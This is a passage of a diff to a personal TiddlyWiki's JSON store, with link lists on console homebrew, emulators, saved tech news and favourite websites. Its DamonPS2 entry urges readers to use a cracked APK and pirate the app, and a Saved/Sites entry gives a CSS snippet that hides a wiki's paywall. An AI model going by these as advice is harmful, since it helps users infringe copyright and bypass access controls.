\"[[Hackintendo|https://hackintendo.com/download/sigpatches/?PageSpeed=noscript]]\">> \u003C\u003C[ \"[[ShadowOne333|https://gbatemp.net/threads/sigpatches-for-atmosphere-hekate-fss0-fusee-package3.571543/]]\">>. They were provided by various developers who want to remain mostly anonymous, and they are mostly compiled together by ITotalJustice.\n\n* \u003C\u003Clinkdesc nsz \"https://github.com/nicoboss/nsz\" \"Homebrew compatible NSP/XCI compressor/decompressor\">>\n\n* [[Goldleaf|https://gbatemp.net/download/goldleaf-nintendo-switch-title-installer-manager.35430/]] --- //๐ Multipurpose homebrew tool for Nintendo Switch// --- \u003C\u003C[# Git \"https://github.com/XorTroll/Goldleaf\">>\n* [[Tinleaf|https://github.com/blawar/tinleaf]] --- //No-Bullshit NSP, NSZ, XCI, and XCZ Installer for Nintendo Switch// (forked from [[Awoo Installer|https://github.com/Huntereb/Awoo-Installer]] without the furry crap) --- \u003C\u003C[# Thread \"https://gbatemp.net/threads/tinleaf-installer-a-no-bullshit-no-bullshit-nsp-nsz-xci-xcz-installer.559892/\">>\n\n!!! Development\n\n* [[SwitchBrew Wiki|https://switchbrew.org/wiki/Main_Page]]\n** [[switchbrew/switch-examples|https://github.com/switchbrew/switch-examples]] --- //Switch examples for devkitA64 and libnx//\n"},
{"title":"Nitter:en","created":"20230110214847556","modified":"20230206111552254","modifier":"Octt","tags":"Internet $:/i18n:en","text":"''[[Nitter|https://github.com/zedeus/nitter]]'' is a free and open source alternative [[Twitter|Twitter:en]] front-end focused on privacy and performance.\n\nQuoting from the project's README:\n\n\u003C\u003C\u003C\nInspired by the Invidious project.\n\n* No JavaScript or ads\n* All requests go through the backend, client never talks to Twitter\n* Prevents Twitter from tracking your IP or JavaScript fingerprint\n* Uses Twitter's unofficial API (no rate limits or developer account required)\n* Lightweight (60KB vs 784KB from twitter.com)\n* RSS feeds\n* Themes\n* Mobile support (responsive design)\n* AGPLv3 licensed, no proprietary instances permitted\n\u003C\u003C\u003C\n"},
{"title":"Nix","created":"20230302114148119","creator":"Octt","modified":"20230302114846402","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Nix (package manager)\">>\n\n* [[Zero to Nix|https://zero-to-nix.com/]] - //An unofficial, opinionated, gentle introduction to Nix//\n* \u003C\u003CYouTubeL 2L2qHfNnXB4 \"NixOS: a sales pitch\">> - A 20-minutes introduction from the ground-up to Nix and [[NixOS]].\n"},
@@ -1345,7 +1346,7 @@
{"title":"Pixel Art","created":"20230216224545924","creator":"Octt","modified":"20230217074832837","modifier":"Octt","tags":"Art Digital Visual","text":"\u003C\u003C^wikipediaframe \"Pixel Art\" en>>"},
{"title":"Pixelfed:en","created":"20230114154328830","modified":"20230206111552333","modifier":"Octt","tags":"Fediverse TODO $:/i18n:en","text":"\u003C\u003CMediaWiki Pixelfed en 2>>\n\n* https://pixelfed.org\n* https://github.com/pixelfed"},
{"title":"PlayStation","created":"20231219123628187","creator":"Octt","modified":"20231222113923429","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe PlayStation>>\n\n* [[PlayStation Developer Wiki|https://www.psdevwiki.com]] (concerning all PS consoles)\n\n* [[Dodgy Keblog|https://dodgyke.blogspot.com/]] --- //The DodgyKebaab PlayStation Save File repository//\n\n* [[ใฉใใงใใใฃใใ.com (PlayStation)|https://www.playstation.com/ja-jp/games/dokodemoissyo/]]\n** //''[[Doko Demo Issyo Wiki|https://dokodemo.fandom.com/]]'' is a collaborative website about the Doko Demo Issyo series that anyone can edit!//\n** \u003C\u003CYoutubeL 0x8Tgm9s068 \"PlayStationโs Forgotten Official Mascot - The Complete History of Toro Inoue & Doko Domo Issyo\">>\n"},
-{"title":"PlayStation 1","created":"20231119143345968","creator":"Octt","modified":"20231123221852893","modifier":"Octt","tags":"Gaming Console","text":"\u003C\u003C^wikipediaframe \"PlayStation 1\">>\n\n* [[tonyhax|https://orca.pet/tonyhax/]] --- //PS1 savegame exploit// --- \u003C\u003C[# Git\"https://github.com/socram8888/tonyhax\">>\n\n* [[PSXDEV Network|https://www.psxdev.net/index.html]]\n* \u003C\u003ChttpL netyaroze.com>>\n* [[ps1-links|https://ps1.consoledev.net/]] --- //the PSX development links center, where all the links related to development on the first Playstation meet!// --- \u003C\u003C#[ Git\"https://github.com/ps1-links/ps1-links.github.io\">>\n* [[Let's do NYO: ~Introduction to PlayStation research presented by Dokuda Jigokusai~|https://drhell.web.fc2.com/ps1/index.html]]\n* [[PlayStation Specifications - psx-spx|https://psx-spx.consoledev.net/]] --- \u003C\u003C[# Git\"https://github.com/psx-spx/psx-spx.github.io\">>\n\n* \u003C\u003ChttpsL psx.arthus.net>> --- //Lots of psx dev stuff here.//\n* [[PlayStation Bare Metal MIPS Assembly Programming Code Examples by krom|https://github.com/PeterLemon/PSX]]\n* [[psx-asm-cargo|https://github.com/hornc/psx-asm-cargo]] --- //PlayStation 1 (PSX) MIPS assembly programming ... with Cargo builds//\n* [[Homebrew Source Code - Rendering 3D Graphics with PsyQ|https://mbdesigns.itch.io/ps1-homebrew-source-code-rendering-3d-graphics-with-psyq]] (with [[Blender]]) --- [\u003C\u003CRedditL /r/psxdev/comments/mzcmvc/i_got_3d_graphics_working_full_source_code_in_the/>>]\n* [[Hitmen collection PSX sources|https://hitmen.c02.at/html/psx_sources.html]]\n* [[Nolibgs Hello Worlds !|https://github.com/ABelliqueux/nolibgs_hello_worlds]] --- //Collection of PsyQ basic examples NOT using libgs//\n\n!!! Emulators, Debuggers\n\n* [[no$psx|https://problemkaputt.de/psx.htm]] --- //nocash Playstation PSone emulator and debugger by martin korth//, + resources\n"},
+{"title":"PlayStation 1","created":"20231119143345968","creator":"Octt","modified":"20240119011653678","modifier":"Octt","tags":"Gaming Console","text":"\u003C\u003C^wikipediaframe \"PlayStation 1\">>\n\n* [[tonyhax|https://orca.pet/tonyhax/]] --- //PS1 savegame exploit// --- \u003C\u003C[# Git\"https://github.com/socram8888/tonyhax\">>\n\n* [[PSXDEV Network|https://www.psxdev.net/index.html]]\n* \u003C\u003ChttpL netyaroze.com>>\n* [[PSX.Dev|https://www.psx.dev/]] --- //Welcome to our community dedicated to PlayStation1 homebrew.//\n* [[ps1-links|https://ps1.consoledev.net/]] --- //the PSX development links center, where all the links related to development on the first Playstation meet!// --- \u003C\u003C#[ Git\"https://github.com/ps1-links/ps1-links.github.io\">>\n* [[Let's do NYO: ~Introduction to PlayStation research presented by Dokuda Jigokusai~|https://drhell.web.fc2.com/ps1/index.html]]\n* [[PlayStation Specifications - psx-spx|https://psx-spx.consoledev.net/]] --- \u003C\u003C[# Git\"https://github.com/psx-spx/psx-spx.github.io\">>\n\n* \u003C\u003ChttpsL psx.arthus.net>>, \u003C\u003ChttpsL psx.schnappy.xyz>> --- //Lots of psx dev stuff here.//\n* [[PlayStation Bare Metal MIPS Assembly Programming Code Examples by krom|https://github.com/PeterLemon/PSX]]\n* [[psx-asm-cargo|https://github.com/hornc/psx-asm-cargo]] --- //PlayStation 1 (PSX) MIPS assembly programming ... with Cargo builds//\n* [[Homebrew Source Code - Rendering 3D Graphics with PsyQ|https://mbdesigns.itch.io/ps1-homebrew-source-code-rendering-3d-graphics-with-psyq]] (with [[Blender]]) --- [\u003C\u003CRedditL /r/psxdev/comments/mzcmvc/i_got_3d_graphics_working_full_source_code_in_the/>>]\n* [[Hitmen collection PSX sources|https://hitmen.c02.at/html/psx_sources.html]]\n* [[Nolibgs Hello Worlds / demo disc!|https://abelliqueux.itch.io/nolibgs-demo-disc]] --- //Collection of PsyQ basic examples NOT using libgs// --- \u003C\u003C#[ Git \"https://github.com/ABelliqueux/nolibgs_hello_worlds\">>\n\n!!! Emulators, Debuggers\n\n* [[no$psx|https://problemkaputt.de/psx.htm]] --- //nocash Playstation PSone emulator and debugger by martin korth//, + resources\n"},
{"title":"PlayStation 2","created":"20230215232019778","creator":"Octt","modified":"20231102232229939","modifier":"Octt","tags":"Console Gaming Sony","text":"\u003C\u003C^WikipediaFrame \"PlayStation 2\" en>>\n\n* \u003C\u003CYoutubeL J7LL5zEUHZo \"Can the PS2 Emulate the N64? Plus RetroArch and Other Emulation Oddities! [Sharopolis]\">>\n\n!!! Emulators\n\n* \u003C\u003Clinkdescgit PCSX2 \"https://pcsx2.net\" \"free and open-source PlayStation 2 (PS2) emulator\" \"https://github.com/PCSX2/pcsx2\">>\n* \u003C\u003Clinkdescgit \"Play!/Purei\" \"https://purei.org\" \"PlayStation2 emulator for Windows, macOS, UNIX, Android, iOS & web browser platforms\" \"https://github.com/jpd002/Play-\">> \u003C\u003C[# Compatibility \"https://github.com/jpd002/Play-Compatibility/issues\">> --- promising open-source emulator but still really slow on mobile, and slow development because only 1 person does it, it would be good to donate to them.\n* [[AetherSX2|https://aethersx2.com]] abandoned //emulator of the PS Two console for the Android platform, desktop, UWP//, miles better than DamonPS2 despite the problems.\n** Latest Android version (Google Play and website) is sabotaged, contains adware and reportedly runs worse, apparently latest good is [[v1.4-3060|https://www.apkmirror.com/apk/aethersx2/aethersx2/aethersx2-v1-4-3060-release/]].\n** Source code? Apparently the tarballs distributed on the official site are totally out of date, some are better and some worse, smells like an LGPL violation and it's also a practical problem...\n\n* [[DamonPS2|http://www.damonemu.com/]] --- The shadiest PS2 emulator in global, the only illegal PS2 emulator on Android, proven malware (adware for sure and spyware for all the permissions it requires, and potentially a backdoor).\n** [[Stole PCSX2 code without at all respecting the license|https://pcsx2.net/blog/2018/the-pcsx2-teams-statement-regarding-the-damonps2-emulator/]], and also [[steals trademarks like the PPSSPP name|http://web.archive.org/web/20230501085937/https://play.google.com/store/apps/details?id=com.damonplay.damonps2.free]]. Don't give them any money, find a cracked pro APK without ads if you really want to use it, and (as a random user on Reddit said) [[pirate the shit out of it and don't feel bad about it|https://old.reddit.com/r/EmulationOnAndroid/comments/bhdxow/question_is_damon_stolen_code/els800b/]], really you won't be doing anything more wrong than buying, because ''official DamonPS2 is in itself an illegal pirated version of PCSX2''. They also consistently deny the evidence of stolen code and use an \u003C\u003CRedditL \"r/EmulationOnAndroid/comments/qs4nye/for_all_those_people_who_hate_damon_ps2/\" \"excuse of having a 'copyright certificate of the Chinese government'\">> as if that would mean anything when talking international copyright.\n** Some people speculate that among the individuals that harassed Tahlreth there could also have been DamonPS2 developers/henchmen, desperate to make the wonderful AetherSX2 end after they failed at destroying it by fake DMCA requests.\n"},
{"title":"PlayStation Portable","created":"20230202110726082","creator":"Octt","modified":"20240110004702177","modifier":"Octt","tags":"Gaming Sony Console $:/i18n:en WIP","text":"\u003C\u003C^wikipediaframe PlayStation_Portable en>>\n\n* [[pspunk - PSP Guides & Resources|https://www.pspunk.com/]]\n\n* [[How to connect your PSP on Linux|https://gist.github.com/mhitza/81651f49b3a43e6f4554]] --- if it doesn't work automatically, do `sudo modprobe usb-storage`\n** \u003C\u003CRedditL r/PSP/comments/54tuxr/guide_remotejoy_on_linux_with_6xx_fw \"[GUIDE] Remotejoy on linux with 6.xx fw\">> --- //The Guide to displaying your PSP screen on your PC over usb on linux// (... apparently not working for me but I'll save)\n\n* [[joysens|https://github.com/albe/joysens]] --- //Infamous PSP Plugin for fixing broken Joysticks on the Playstation Portable//\n** \u003C\u003CRedditL r/PSP/comments/gtid7b/how_do_you_disable_the_analog_stick_entirely \"How do you disable the analog stick entirely?\">>\n\n* [[PPSSPP|https://www.ppsspp.org]] --- //PSP emulator for Android, Windows, Mac and Linux, written in C++.// --- \u003C\u003C[# Git \"https://github.com/hrydgard/ppsspp\">>\n"},
{"title":"PocketGo","created":"20230205150132792","creator":"Octt","modified":"20230205150144435","modifier":"Octt","tags":"TODO"},
@@ -1384,7 +1385,7 @@
{"title":"Saved/News","created":"20230304233558003","creator":"Octt","modified":"20230306170246187","modifier":"Octt","tags":"","text":"Headlines saved as future bookmarks that don't really fit into other tiddlers.\n\n; March 2023\n: [[Secret Service, ICE break the law over and over with fake cell tower spying|https://www.theregister.com/2023/03/04/dhs_secret_service_ice_stingray/]].\n: [[Plan to incinerate soil from Ohio train derailment is โhorrifyingโ, says expert|https://www.theguardian.com/us-news/2023/mar/04/east-ohio-train-derailment-soil]] - //Soil is being sent to a nearby incinerator with a history of clean air violations, raising fears the chemicals will be redistributed//.\n: [[Leaked audio reveals US rail workers were told to skip inspections as Ohio crash prompts scrutiny to industry|https://www.theguardian.com/us-news/2023/mar/03/us-rail-workers-east-palestine-ohio-train-crash]] - //employee says manager told her to stop marking cars for repair, as Ohio derailment brings hard look at industryโs record of blocking safety rules//.\n: [[Denverโs e-bike subsidy program produced more new riders, fewer car trips|https://www.ridereport.com/blog/ebike-inventive-programs]].\n: [[Vittorio Feltri sui migranti: \"Agli extracomunitari ricordo un vecchio detto italiano: partire รจ un po' morire. State a casa vostra\"|https://www.ansa.it/sito/notizie/politica/2023/03/02/polemica-per-il-tweet-di-vittorio-feltri-sui-migranti-partire-e-un-po-morire_a7cb3918-90d4-4aac-b937-bef4a3c0390f.html]].\n\n; February 2023\n: [[Crotone, il racconto dei sopravvissuti: \"Nella stiva eravamo 180, ci facevano salire solo per respirare. Gli scafisti fuggiti su un canotto\"|https://www.repubblica.it/cronaca/2023/02/28/news/crotone_strage_migranti_conto_vittime_laura_boldrini-389901110/]].\n: \u003C\u003CYoutubeL ajBbuKXJ8nA \"Strage di Crotone: le vergognose parole di Piantedosi\">> - \"//Io non partirei se fossi disperato perchรฉ sono stato educato alla responsabilitร '//\".\n: [[Report: US Pedestrian Death Rate Increased 9x Faster Than Population During COVID|https://usa.streetsblog.org/2023/02/28/report-us-pedestrian-death-rate-increased-9x-faster-than-population-during-covid/]].\n: [[Bankman-Fried and others allegedly made 300 illegal political donations|https://www.reuters.com/legal/new-indictment-unsealed-against-bankman-fried-containing-12-charges-2023-02-23/]].\n: [[U.S. food additives banned in Europe: Expert says what Americans eat is \"almost certainly\" making them sick|https://www.cbsnews.com/news/us-food-additives-banned-europe-making-americans-sick-expert-says/]].\n"},
{"title":"Saved/News/Tech","created":"20220922204301052","creator":"Octt","modified":"20230306164317245","modifier":"Octt","tags":"Reading Tech $:/i18n:en","text":"Interesting news I collect from the tech Internet sphere (HN primarily, but not exclusively), that don't fit into other tiddlers.\n\n; March 2023\n: [[Facebook and Google are handing over user data to help police prosecute abortion seekers|https://www.businessinsider.com/police-getting-help-social-media-to-prosecute-people-seeking-abortions-2023-2]] - //Social media sites are inundated with police requests for user data and may cooperate even if not legally required to//.\n\n; February 2023\n: [[I'm a Stanford professor who's studied organizational behavior for decades. The widespread layoffs in tech are more because of copycat behavior than necessary cost-cutting.|https://www.businessinsider.com/stanford-professor-mass-layoffs-caused-by-social-contagion-companies-imitating-2023-2]]\n: [[Even hackers are reportedly getting laid off by organized crime groups|https://www.businessinsider.com/hackers-ransomware-getting-laid-off-amid-better-cybersecurity-report-2023-2]] - //As cybersecurity improves, one hacker group laid off 45 employees//.\n: [[Roald Dahl ebooks remotely updated to censored versions after purchase|https://www.thetimes.co.uk/article/roald-dahl-collection-books-changes-text-puffin-uk-2023-rm2622vl0]].\n\n; December 2022\n: [[The FBI recommends using an ad-blocker when searching the web|https://www.ic3.gov/Media/Y2022/PSA221221]]\n\n!!! ''Older''\n\n* [[TOTP tokens on my wrist with the smartest dumb watch|https://blog.singleton.io/posts/2022-10-17-otp-on-wrist]]\n* [[Boeing 787s must be turned off and on every 51 days to prevent 'misleading data' being shown to pilots|https://www.theregister.com/2020/04/02/boeing_787_power_cycle_51_days_stale_data]]\n* [[Disposable Root Servers|https://blog.thc.org/disposable-root-servers]]\n* [[Neurons in a dish learn to play Pong โ whatโs next?|https://www.nature.com/articles/d41586-022-03229-y]]\n* [[retrowin32, a win32 emulator|https://neugierig.org/software/blog/2022/10/retrowin32.html]]\n* [[Ray Tracing In Notepad.exe At 30 FPS|http://kylehalladay.com/blog/2020/05/20/Rendering-With-Notepad.html]]\n* [[You can't buy a Raspberry Pi right now|https://www.jeffgeerling.com/blog/2022/you-cant-buy-raspberry-pi-right-now]]\n* [[7 Cool HTML Elements Nobody Uses|https://tapajyoti-bose.medium.com/7-cool-html-elements-nobody-uses-436598d85668]]\n* [[Despite faster broadband every year, web pages don't load any faster|https://www.datafantic.com/how-much-time-do-we-waste-waiting-for-websites-to-load]] [//[[c|https://readhacker.news/c/5mBGU]]//]\n* [[Avoiding homework with code (and getting caught)|https://alistair.blog/mochip]] [//[[c|https://readhacker.news/c/5mBHL]]//]\n* [[Show HN: I made an open-source Bitly alternative|https://readhacker.news/c/5mzDH]]\n* [[If the Moon Were Only 1 Pixel (2014)|https://readhacker.news/c/5myKf]]\n"},
{"title":"Saved/Posts/Tech","created":"20220922205247845","creator":"Octt","modified":"20230306170344589","modifier":"Octt","tags":"","text":"Some light posts about tech (microblog/forum basically) I need to save and don't know where to fit. (Not all are there, some are in private Mastodon bookmarks).\n\n; 2023/02/25\n: [[If you drag an emoji family with a string size of 11 into an input with maxlength=10, one of the children will disappear.|https://mastodon.social/@simevidas/109919980697679274]]\n\n; 2023/02/24\n: [[This post brought to you by gdb and grep -a, because after typing all that out as a quote toot and deciding that nah, I wanted it standalone, I clicked the \"x\" next to the quote box (which implies removing the quote association) and that didn't just cancel the quote, it deleted all the text. So I attached gdb to the Firefox content process hosting this tab, took a core dump, and grepped it for the lost text. I wasn't about to write all that again from scratch.|https://social.treehouse.systems/@marcan/109918006697541955]]\n\n; 2023/02/23\n: \u003C\u003CHackernewsL 34913596 \"Do not store any funds in PayPal or use them for anything critical\">>.\n\n; 2023/02/20\n: \u003C\u003CHackernewsL 34865695 \"What are these strange random strings spamming my blog?\">>\n"},
-{"title":"Saved/Sites","created":"20230223222804008","creator":"Octt","modified":"20240107161030045","modifier":"Octt","tags":"","text":"List of some Internet sites (Web and also other protocols, so not only \"websites\") I want to save, for some reason or another. Sometimes they have interesting content, others I just like the aesthetic, or navigation experience, and maybe they are by themselves a good inspiration for my site design journeys. All here are miscellaneous, look in subpages for categories.\n\nSome personal ones could be defined as \"[[digital gardens|Digital Garden]]\" and are might be moved in that section.\n\nNote: \"[property]-leaning\" means the majority of the content of the site, or the site's style, leans towards that property (in majority, but not necessarily in totality).\n\n!!! ''[[Blog]]-leaning''\n\n* [[sitoctt]]\n* [[Arcisito|https://arci.me]] --- \u003C\u003C[# Git \"https://github.com/AuroraViola/arcisito\">>\n* [[Akalanka Ekanayake Blog|https://blog.akalanka.uk/]] --- It's a curious blog, mainly deals with IT subject but the theme/style looks like a fashion blog lmao\n* [[Ctrl blog by Daniel Aleksandersen|https://www.ctrl.blog/]]\n* [[Daring Fireball|https://daringfireball.net/]]\n* [[/dev/null|https://blog.benstein.nl]] --- //My name is Christian Benstein and I write about macOS based workflowโs, Obsidian and Things3. My philosophy is that your mind was not created to store information but to act on it and create.// --- \u003C\u003C[# Git\"https://github.com/KingOfSpades/KingOfSpades\">>\n* [[Eli Grey|https://eligrey.com/]]\n* [[Fabrizio Musacchio|https://www.fabriziomusacchio.com/]]\n* [[FlareXes|https://flarexes.com]]\n* [[Gianmarco Gargiulo|https://gianmarco.gg]]\n* [[iliana etaoin|https://iliana.fyi/]] --- //systems engineer at oxide computer company//\n* [[Il Disinformatico|https://attivissimo.blogspot.com/]] --- //Un blog di Paolo Attivissimo, giornalista informatico e cacciatore di bufale//\n* \u003C\u003ChttpL iter.ca>>\n* [[Jeff Geerling|https://www.jeffgeerling.com/]]\n* [[koyu's personal website|https://web.koyu.space/]]\n* [[l33t.codes|https://l33t.codes]] --- Nice emulated retro-style with CRT effects and monospace text of many colors.\n* [[LarrySanger.org|https://larrysanger.org/]] --- \"//Technology, philosophy, and more//\"\n* [[Leo3418's Personal Site|https://leo3418.github.io/]] --- \u003C\u003C[# Git\"https://github.com/Leo3418/leo3418.github.io\">>\n* [[Lily's Things at The Cool Site|https://www.lilysthings.org/]]\n* [[LiteFeel|https://www.litefeel.com]]\n* [[Lisperator.net|https://lisperator.net/]] --- //to create, to ilisperate//\n* [[Lyosha Cluster (ะััะฐ ะะปะฐััะตั)|https://cluster.wtf/]]\n* [[Mega Cat Studios, Inc.|https://megacatstudios.com/pages/table-of-contents]] --- with blog about retro, videogame, and development subjects\n* [[Magnetismo 2.1 - Il meglio dell'informatica|https://magnetismoinformatica.blogspot.com/]]\n* [[Max Schillinger|https://maximilian-schillinger.de/index.html]] --- //Linux pro, workflow optimizer, coder for life.//\n* [[๐ Nitay Neeman's Blog|https://nitayneeman.github.io/]]\n* [[P01โจ CREATIVE CODER & TECHNICAL SPEAKER|http://www.p01.org]]\n* [[Parzibyte.me|https://parzibyte.me]] (+Blog) --- //Blog de conocimiento gratuito: linux, programaciรณn, open source, bases de datos, android, frameworks, web e informรกtica en general.// --- \u003C\u003C[# Git\"https://github.com/parzibyte/parzibyte_me_3\">>\n* [[Read the Tea Leaves|https://nolanlawson.com/]] --- //Software and other dark arts, by Nolan Lawson//\n* [[RetrOfficina4004 Vintage|https://retrofficina4004.blogspot.com/]] --- //Chi non ricorda il passato รจ destinato a riviverlo//\n* [[ฮป ryan. himmelwright. net|https://ryan.himmelwright.net/]]\n* [[Sebastian Jambor's blog|https://seb.jambor.dev/]] --- software engineering, efficiency and other things\n* [[SECRET CLUB - We Break Software|https://secret.club/]] --- //UPPING THE ANTE ON RESEARCH//\n* [[Simon Willisonโs Weblog|https://simonwillison.net/]] --- \u003C\u003C[ \"[[Git|https://github.com/simonw/simonwillisonblog]]\">>\n* [[Singpolyma|https://singpolyma.net/]] --- //Weber, Stephen Paul singpolyma. I played the tech industry game and won.// --- includes an interesting \"Actionstream\" feature listing public actions done on other sites\n* [[Stephan Wagner|https://stephanwagner.me/]]\n* [[TechLifeWeb|https://techlifeweb.com/]] --- //Exploring the digital life// --- interesting organization of normal blog posts with microblog-style notes\n* //''[[Technically We Write|https://technicallywewrite.com/]]'' is about technical writing, technical editing, and all things \"technical communication.\" Learn more about who we are.//\n* [[There oughta be...|https://there.oughta.be/]] --- //A collection of overcomplicated devices nobody needs//\n* [[Thiago Rossener - Desenvolvedor Front-End|https://rossener.com/]]\n* [[TiTiNoNero dice cose|https://www.77nn.it/]]\n* [[things i play|https://thingsiplay.game.blog/]] --- //My take on Gaming, Emulation and Steam related stuff on Linux//\n* [[Val Packett|https://val.packett.cool/]]\n\n!!! ''[[Book]]-leaning''\n* [[Alf's room (ใขใซใใฎ้จๅฑ)|https://alf-s-room.com/]]\n* [[Ledom Software|https://ledomsoft.com]]\n* [[100R - Hundred Rabbits|https://100r.co/]] --- \u003C\u003C[ \"[[Git|https://github.com/hundredrabbits/100r.co]]\">>\n\n!!! ''[[Gallery]]-leaning''\n\nThese are portfolios, collections of projects, hubs, landing pages, etc.\n\n* [[OctoSpacc Hub|https://hub.octt.eu.org]]\n* [[abe's projects - abe.today|https://abe.today/]] --- //Hi, I'm abe. I enjoy making things!//\n* [[Arktis :: Sigve Sebastian Farstad|https://arkt.is/]]\n* [[ari melody|https://arimelody.me/]] --- //your local SPACEGIRL ๐ซ//\n* [[Daniel X's Artisanal Internets|https://danielx.net/]]\n** [[Whimsy Space - ZineOS|https://whimsy.space/]]\n* [[eip hax|https://eiphax.tech]] --- //hi. i'm eip. i guess i'm a 'hobbyist web developer', except my skillset is 'write bad html, steal js/css/php, eat hot chip and lie'.// --- contains sections related to game console hacking/homebrew\n* [[ENTROPIE|https://entropie.org/]] --- a handful of connected blogs with tech articles and tech art galleries\n* [[Grumpy Website|https://grumpy.website/]] --- //world-leading media conglomerate of renowned experts in UIs, UX and TVs//\n* [[Jeff Thompson|https://www.jeffreythompson.org/]] --- many creative programming and artistic tech works by the author are highlighted on the site\n* [[libdb.so (diamondburned)|https://libdb.so/]] / \u003C\u003ChttpsL diamondx.pet>> --- cool site, the thing is just a terminal shell but with working links, images, and small tools --- \u003C\u003C[# Git \"https://github.com/diamondburned/libdb.so\">>\n* \u003C\u003ChttpL \"Neal.fun\">>\n* [[Nanolx|https://nanolx.org/]] --- //Hacking @ Debian//\n* [[Novasquirrel's site|https://novasquirrel.com/]]\n* [[Rogue Studio|https://rogue.studio/]] --- //Digital marketing, branding, and product experience studio//\n* [[Salvador Camacho|https://salvacam.js.org]] --- //Desarrollador Web y Administrador de Sistemas// --- \u003C\u003C[# Git\"https://github.com/salvacam/salvacam.github.io\">>\n* [[The Hacker's Choice|https://www.thc.org]] --- group of international hackers, founded in 1995 --- \u003C\u003C[# \"Knowledge Base\" \"https://iq.thc.org\">>\n* [[Tom's Pages|http://www.toms.net/]]\n* [[Trong|https://trongnguyen.co/]] (+ digital garden) --- //Vietnamese Product Designer living in Singapore, currently @Carousell//\n* \u003C\u003Clinkdescgit \"Yasoob Khalid\" \"https://yasoob.me/\" \"Author, Blogger & artist who can't make up his mind\" \"https://github.com/yasoob/personal_blog\">> --- the site contains some cool tech-focused art projects\n* [[ZeptoBars|https://zeptobars.com/en/]] --- hi-def pictures of naked CPU dies\n\n!!! ''[[Note]]-leaning''\n\nThese are kind of blogs, but don't contain mainly things written as blogs, but more note-like articles, like tutorials ecc...\n\n* [[Attacomsian|https://attacomsian.com/]]\n* [[Fizer Khan|https://www.fizerkhan.com/]]\n* [[Matias Kinnunen (mtsknn)|https://mtsknn.fi]] --- \u003C\u003C[# Git \"https://github.com/mtsknn/mtsknn.fi\">>\n* [[Naomi's Notes|https://notes.nyaomi.xyz/]]\n* note.nkmk.me: [[en|https://note.nkmk.me/en]], [[jp|https://note.nkmk.me]] (different articles)\n* [[็ปๅธๅฐ็ (Rongrongbq)|https://rongrongbq.moe/]]\n* [[rdpillon|https://rpdillon.net/]] --- //Rick's Home Online//\n* Show Notes from the [[Open Source is Awesome|https://opensourceisawesome.com/]] Youtube Channel\n* \u003C\u003Clinkdescgit SvennD \"https://svennd.be/\" \"Linux Sysadmin and Cyber Security Professional. This blog is mainly self-documenting. May my poorly written notes help you, dear DenverCoder9!\" \"https://github.com/svennd/blog\">>\n* [[Vincent Young Notes (missuo.me)|https://missuo.me/]] --- \u003C\u003C#[ Git \"https://github.com/missuo/missuo.github.io\">>\n\n!!! ''[[Wiki]]-leaning''\n\n* [[WikiHands|https://wikihands.github.io]]\n* [[WikiSpacc]]\n* Andrea Minini PKB: [[.com|https://www.andreaminini.com]], [[.org|https://www.andreaminini.org]]\n** [[How (by Okpedia)|https://how.okpedia.org/]] --- //Tutorials and Solutions KB// --- (apparently a separate wiki of the same person above, also multi-language)\n* [[Computer Science Mojo|https://csmojo.com]] --- //David's Notes on coding, software and computer science// --- \u003C\u003C[ \"[[Git|https://github.com/zhenyufu/zhenyufu.github.io]]\">>\n* //''[[Everything2|https://everything2.com/]]'' is a collaborative online community consisting of a database of interlinked user-submitted written material.//\n* [[Maggie Appleton|https://maggieappleton.com/]] --- \u003C\u003C[ \"[[Git|https://github.com/MaggieAppleton/maggieappleton.com-V2]]\">>\n* [[bash.org QDB|http://web.archive.org/web/20230719194509/http://bash.org/]] --- // Quote Database Home//\n* [[RetroRGB|https://www.retrorgb.com/]] --- //site dedicated to keeping everyone up-to-date with everything the retro-gaming world has to offer//\n* [[RaspiBO|https://www.raspibo.org/]] --- //gruppo informale di appassionati di elettronica ed informatica libera della zona di Bologna (ma non solo)//\n* [[TheFrenchGhosty|https://thefrenchghosty.me/]]\n* [[The Refined Mind|https://refinedmind.co/]] --- //This is my tiny plot on the internet where I share ideas in progress. Itโs my public workspace and an experiment in whatโs known as digital gardening.//\n* [[wiki.nikiv.dev|https://wiki.nikiv.dev/]] --- \u003C\u003C[ \"[[Git|https://github.com/nikitavoloboev/knowledge]]\">>\n** [2023-08-18] Apparently the majority of pages is now paywalled, and the public Git repo isn't receiving any updates. Since the wiki is still static, the paywall can be bypassed by injecting following CSS code: `.modalblur{display:none !important;}`; otherwise, also disabing JavaScript is an option (but breaks navigation on mobile and search globally).\n* [[XXIIVV|https://wiki.xxiivv.com/]] --- \u003C\u003C[ \"[[Git|https://github.com/XXIIVV/oscean]]\">>\n\n!!! Mess-leaning \u003Csmall>(often the most creative)\u003C/small>\n\n* [[Kicks Condor|https://www.kickscondor.com/]]\n* [[samy.pl|https://samy.pl/]] --- Website full of easter eggs by the same \u003C\u003CYoutubeL OJ1pEAdFLP8 \"person who once hacked MySpace\">>.\n** One easter egg is the client source code is hidden as a binary-encoded string represented by spaces and tabs; The server providing the data uses something (headers? but also other stuff) to only serve the real HTML to a browser; curl/wget without all the browser headers (and a browser after a reload in `view-source:` ?) get a fake HTML. \u003C\u003C#[ \"Older but more in-depth analysis\" \"https://t.me/ioctt/19280\">>\n* [[Tramaci.org|https://tramaci.org/]] --- Progetto a quanto pare abbandonato sulla privacy e il controllo, basato sul paradigma di [[pseudo-OS|Pseudo-OS]] web (anche fin troppo complottista e paranoide nei contenuti, ma tecnicamente รจ interessante).\n"},
+{"title":"Saved/Sites","created":"20230223222804008","creator":"Octt","modified":"20240119011823801","modifier":"Octt","tags":"","text":"List of some Internet sites (Web and also other protocols, so not only \"websites\") I want to save, for some reason or another. Sometimes they have interesting content, others I just like the aesthetic, or navigation experience, and maybe they are by themselves a good inspiration for my site design journeys. All here are miscellaneous, look in subpages for categories.\n\nSome personal ones could be defined as \"[[digital gardens|Digital Garden]]\" and are might be moved in that section.\n\nNote: \"[property]-leaning\" means the majority of the content of the site, or the site's style, leans towards that property (in majority, but not necessarily in totality).\n\n!!! ''[[Blog]]-leaning''\n\n* [[sitoctt]]\n* [[Arcisito|https://arci.me]] --- \u003C\u003C[# Git \"https://github.com/AuroraViola/arcisito\">>\n* [[Akalanka Ekanayake Blog|https://blog.akalanka.uk/]] --- It's a curious blog, mainly deals with IT subject but the theme/style looks like a fashion blog lmao\n* [[Ctrl blog by Daniel Aleksandersen|https://www.ctrl.blog/]]\n* [[Daring Fireball|https://daringfireball.net/]]\n* 